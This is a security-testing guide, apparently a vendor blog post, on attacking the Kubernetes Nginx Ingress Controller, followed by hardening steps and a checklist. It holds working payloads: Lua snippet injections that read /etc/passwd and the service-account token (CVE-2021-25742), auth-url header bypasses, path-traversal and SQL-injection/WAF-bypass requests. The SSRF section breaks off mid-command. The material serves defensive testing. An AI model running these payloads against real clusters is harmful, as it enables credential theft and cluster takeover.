Nginx Ingress Controller Security Testing: Annotation Injection, Auth Bypass, and Kubernetes Ingress Exploitation

The Nginx Ingress Controller processes all inbound HTTP traffic to a Kubernetes cluster — making it one of the highest-impact components to compromise. Annotation injection attacks let tenants in multi-tenant clusters escape their namespace, intercept other services' traffic, or execute arbitrary Nginx configuration. This guide covers the complete ingress attack surface: annotation injection, auth-url bypass, snippet-based RCE, ModSecurity bypass, path traversal via rewrite rules, and SSRF via the ingress proxy mechanism.

Table of Contents

  1. Ingress Controller Attack Surface
  2. Annotation Injection Attacks
  3. Snippet Annotation Code Execution
  4. Authentication Bypass via auth-url
  5. Path Traversal via Rewrite Rules
  6. ModSecurity WAF Bypass
  7. SSRF via Proxy Pass
  8. Ingress Controller Hardening

Ingress Controller Attack Surface

The Nginx Ingress Controller sits at the edge of the cluster and translates Kubernetes Ingress resources into Nginx configuration. Its security depends on:

Attack VectorPreconditionImpact
Annotation injectionNamespace create/edit IngressConfig injection affecting all traffic
Snippet annotationsAllow-snippets enabled (default off in newer versions)Arbitrary Nginx config / potential RCE
auth-url bypassExploitable auth service or header manipulationAuthentication bypass for protected services
Rewrite path traversalMisconfigured rewrite rulesAccess to unintended backend paths
ModSecurity bypassModSecurity enabled but misconfiguredWAF evasion for attacks on backends
SSRF via proxyIngress with attacker-controlled backendInternal network access

Annotation Injection Attacks

Nginx Ingress annotations allow fine-grained control over Nginx configuration. In multi-tenant clusters where different teams manage their own Ingress resources, annotation injection can affect cluster-wide traffic routing.

Discovering Ingress Resources

# Enumerate all Ingress resources across namespaces
kubectl get ingress -A -o wide

# Get detailed annotations for each ingress
kubectl get ingress -A -o json | python3 -c "
import json,sys
for item in json.load(sys.stdin)['items']:
    ns = item['metadata']['namespace']
    name = item['metadata']['name']
    annotations = item['metadata'].get('annotations', {})
    ingress_class = annotations.get('kubernetes.io/ingress.class', 'default')
    for k, v in annotations.items():
        if 'nginx' in k.lower():
            print(f'{ns}/{name} [{ingress_class}]: {k} = {v[:100]}')
"

# Find ingresses using external auth
kubectl get ingress -A -o json | python3 -c "
import json,sys
for item in json.load(sys.stdin)['items']:
    ns = item['metadata']['namespace']
    name = item['metadata']['name']
    anns = item['metadata'].get('annotations', {})
    auth_url = anns.get('nginx.ingress.kubernetes.io/auth-url', '')
    if auth_url:
        print(f'{ns}/{name}: auth-url = {auth_url}')
"

Nginx Configuration Injection via Annotations

# Annotations that directly inject Nginx config — test for injection
# These are common annotation keys used in testing:

# server-snippet: injects into server{} block
# nginx.ingress.kubernetes.io/server-snippet: |
#   location /injected {
#     return 200 "injected";
#   }

# configuration-snippet: injects into location{} block
# nginx.ingress.kubernetes.io/configuration-snippet: |
#   more_set_headers "X-Injected: true";

# Test if snippets are allowed in your cluster
kubectl create ingress test-snippet \
  --rule="test.example.com/=test-svc:80" \
  --annotation="nginx.ingress.kubernetes.io/server-snippet=location /probe { return 200 injected; }" \
  -n test-namespace 2>&1

# If the ingress is created and takes effect, snippet injection is possible
curl -s http://test.example.com/probe  # Should return 200 if snippet injected

Cross-Namespace Impact of Annotation Injection

# In a shared Nginx Ingress Controller, all Ingress resources share one Nginx process
# A malicious annotation in namespace A can affect routing in namespace B

# Annotation: upstream-hash-by — can route specific requests to attacker-controlled upstream
# (requires upstream-hash-by-subset feature)

# Annotation: use-regex — enables regex matching which can overlap with other routes
# nginx.ingress.kubernetes.io/use-regex: "true"
# If combined with a broad path regex like "/*", can intercept all traffic

# Check for overly broad path matchers
kubectl get ingress -A -o json | python3 -c "
import json,sys
for item in json.load(sys.stdin)['items']:
    for rule in item['spec'].get('rules', []):
        for path in rule.get('http', {}).get('paths', []):
            p = path.get('path', '/')
            if p in ['/', '/*', '(.+)'] or p.startswith('/('):
                print(f\"{item['metadata']['namespace']}/{item['metadata']['name']}: broad path {p}\")
"

Snippet Annotation Code Execution

The server-snippet and configuration-snippet annotations allow injecting arbitrary Nginx configuration. In versions prior to 1.9.0 with allow-snippet-annotations: true, this can achieve arbitrary code execution via Nginx's lua_code_cache or access_by_lua_block.

CVE-2021-25742 — Snippet Annotation RCE

# Nginx Ingress < 1.9.0 with allow-snippet-annotations=true is vulnerable
# Attacker with Ingress create/update permission can inject Lua code

# Check Nginx Ingress version
kubectl get pods -n ingress-nginx -o jsonpath='{.items[0].spec.containers[0].image}'

# Check if snippets are allowed
kubectl get configmap -n ingress-nginx nginx-configuration -o yaml | \
  grep "allow-snippet-annotations"
# Or check the controller args:
kubectl get deploy -n ingress-nginx ingress-nginx-controller -o yaml | \
  grep "allow-snippet"

# Exploitation via server-snippet (reads /etc/passwd from ingress controller pod)
kubectl annotate ingress my-ingress \
  "nginx.ingress.kubernetes.io/server-snippet=|
    location /rce {
      content_by_lua_block {
        local f = io.open('/etc/passwd', 'r')
        ngx.say(f:read('*all'))
        f:close()
      }
    }" \
  -n target-namespace

# Access the injected endpoint
curl http://target.example.com/rce
Critical — CVE-2021-25742: Snippet annotations in Nginx Ingress Controller ≤ 1.2.0 allow arbitrary Nginx+Lua code execution by any user with Ingress create/update RBAC permission. Check your version and disable allow-snippet-annotations immediately.

Persistent Access via Snippet

# Read service account token from ingress controller pod (access K8s API)
# Inject via server-snippet:
location /token {
  content_by_lua_block {
    local f = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
    ngx.say(f:read('*all'))
    f:close()
  }
}

# The ingress controller service account typically has cluster-wide read permissions
# Token can be used to read secrets across the cluster

Authentication Bypass via auth-url

The nginx.ingress.kubernetes.io/auth-url annotation delegates authentication to an external service. Misconfigurations in how auth decisions propagate can lead to bypasses.

Auth Service Response Manipulation

# The auth-url annotation makes Nginx send a subrequest to an auth service
# If the auth service returns 2xx, the request is allowed; otherwise blocked

# Common bypass: X-Original-URL header manipulation
# If the auth service checks X-Original-URL but Nginx passes the actual URI separately,
# sending a different path in the header can bypass restrictions

curl -H "X-Original-URL: /public" http://protected.example.com/admin
# Auth service sees /public (allowed) but backend receives /admin

# Check what headers the auth service inspects
kubectl get ingress protected-app -o yaml | grep -A5 "auth-"
# nginx.ingress.kubernetes.io/auth-url: http://auth-service.default/verify
# nginx.ingress.kubernetes.io/auth-method: GET
# nginx.ingress.kubernetes.io/auth-response-headers: X-Auth-User,X-Auth-Role

auth-snippet Injection

# auth-snippet annotation injects into the auth_request block
# nginx.ingress.kubernetes.io/auth-snippet: |
#   proxy_set_header X-Auth-Request-Host $host;

# Injection test: attempt to close the proxy_set_header directive and add bypass logic
kubectl annotate ingress protected-app \
  "nginx.ingress.kubernetes.io/auth-snippet=proxy_set_header X-Auth-Skip true;" \
  -n test-namespace

# Test auth bypass paths
# Some auth services skip validation based on specific headers or paths
for path in "/health" "/metrics" "/actuator" "/swagger" "/_internal" "/api/public"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://protected.example.com$path)
  echo "$path: HTTP $code"
done

Path Traversal via Rewrite Rules

# Misconfigured rewrite annotations can expose unintended backend paths

# Vulnerable ingress configuration:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  annotations:
    nginx.ingress.kubernetes.io/rewrite-target: /$2
spec:
  rules:
  - http:
      paths:
      - path: /app(/|$)(.*)
        pathType: Prefix
        backend:
          service:
            name: app-service
            port:
              number: 8080

# With this config, /app/../internal maps to /internal on the backend
curl http://cluster.example.com/app/../internal/admin

# More explicit test:
curl http://cluster.example.com/app/..%2fadmin
curl http://cluster.example.com/app/%2e%2e/admin

# Also test: rewrite can expose internal paths not intended for external access
# Backend may have /internal/metrics or /debug/pprof accessible via rewrite traversal

# Find misconfigured rewrites
kubectl get ingress -A -o json | python3 -c "
import json,sys
for item in json.load(sys.stdin)['items']:
    anns = item['metadata'].get('annotations', {})
    rewrite = anns.get('nginx.ingress.kubernetes.io/rewrite-target', '')
    if rewrite and '\$2' in rewrite:
        paths = []
        for rule in item['spec'].get('rules', []):
            for p in rule.get('http', {}).get('paths', []):
                paths.append(p.get('path', ''))
        print(f\"{item['metadata']['namespace']}/{item['metadata']['name']}: rewrite={rewrite} paths={paths}\")
"

ModSecurity WAF Bypass

Nginx Ingress Controller supports ModSecurity as an optional WAF. Common misconfigurations leave it in detection-only mode or with ineffective rule sets.

# Check ModSecurity configuration
kubectl get configmap -n ingress-nginx nginx-configuration -o yaml | grep -A5 "modsecurity"
# enable-modsecurity: "true"
# enable-owasp-modsecurity-crs: "true"
# modsecurity-snippet: SecRuleEngine DetectionOnly  ← BLOCKING NOT ENABLED

# Detection-only mode logs attacks but doesn't block — test with obvious payloads
curl "http://target.example.com/?id=1'+OR+'1'='1"  # SQL injection
curl "http://target.example.com/?x="  # XSS

# Check ingress-level ModSecurity annotations
kubectl get ingress -A -o json | python3 -c "
import json,sys
for item in json.load(sys.stdin)['items']:
    anns = item['metadata'].get('annotations', {})
    modsec = anns.get('nginx.ingress.kubernetes.io/enable-modsecurity', '')
    snippet = anns.get('nginx.ingress.kubernetes.io/modsecurity-snippet', '')
    if modsec or snippet:
        print(f\"{item['metadata']['namespace']}/{item['metadata']['name']}: modsecurity={modsec} snippet={snippet[:80]}\")
"

# Test ModSecurity effectiveness with bypass techniques
# Technique 1: HTTP Parameter Pollution
curl "http://target.example.com/?id=1&id='+OR+'1'='1"
# Technique 2: Unicode normalization
curl "http://target.example.com/?id=1%ef%bc%87+OR+%ef%bc%871%ef%bc%87=%ef%bc%871"
# Technique 3: Chunked encoding (bypasses content inspection in some modes)
curl --header "Transfer-Encoding: chunked" http://target.example.com/ -d "4\r\n\r\n0\r\n"

SSRF via Proxy Pass

# Nginx Ingress forwards requests to backend services by IP/DNS
# An attacker with Ingress create permission can create a backend pointing to internal services

# Ingress SSRF: create an Ingress with a Service pointing to an internal IP
# (Service ExternalName type — routes to arbitrary hostnames)

# Step 1: Create ExternalName service pointing to internal target
kubectl apply -f - <

Ingress Controller Hardening

# 1. Disable snippet annotations (most important control)
# In ingress-nginx ConfigMap:
kubectl patch configmap -n ingress-nginx nginx-configuration \
  --patch '{"data": {"allow-snippet-annotations": "false"}}'

# 2. Use admission webhook to validate Ingress resources
# ingress-nginx includes a ValidatingAdmissionWebhook — ensure it's enabled
kubectl get validatingwebhookconfigurations | grep ingress

# 3. Enable ModSecurity in blocking mode
kubectl patch configmap -n ingress-nginx nginx-configuration --patch '{
  "data": {
    "enable-modsecurity": "true",
    "enable-owasp-modsecurity-crs": "true",
    "modsecurity-snippet": "SecRuleEngine On\nSecAuditLog /dev/stdout\n"
  }
}'

# 4. RBAC: restrict who can create/update Ingress resources
# Only platform/ops team should have Ingress write access in production namespaces
kubectl create role ingress-reader \
  --verb=get,list,watch \
  --resource=ingresses.networking.k8s.io \
  -n production

# 5. Network policy: restrict ingress controller egress
# Controller should only reach services, not arbitrary internal IPs
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: ingress-controller-egress
  namespace: ingress-nginx
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/name: ingress-nginx
  egress:
  - to:
    - namespaceSelector: {}  # Only pods, not ExternalName services
    ports:
    - port: 8080
    - port: 443
Ingress Security Checklist: Disable allow-snippet-annotations; enable the ValidatingAdmissionWebhook; restrict Ingress write RBAC to ops team; enable ModSecurity in blocking mode; audit ExternalName services for SSRF paths; review rewrite-target annotations for path traversal; check ingress controller service account permissions against the K8s API.
Security TestMethodPriority
Snippet annotations enabled checkkubectl get configmap nginx-configurationCritical
CVE-2021-25742 version checkkubectl get pods -n ingress-nginx imageCritical
auth-url bypass testingHeader manipulationHigh
ExternalName SSRF serviceskubectl get svc -A --field-selector type=ExternalNameHigh
Rewrite path traversalcurl path manipulationHigh
Ingress RBAC auditkubectl get rolebindings -AHigh
ModSecurity mode checkConfigMap + test payloadsMedium
Broad path regex overlapkubectl get ingress -A reviewMedium

Automate Kubernetes Ingress Security Testing

Ironimo scans Kubernetes Ingress configurations for annotation injection risks, exposed snippet annotations, auth bypass vulnerabilities, and ExternalName SSRF pivots.

Start free scan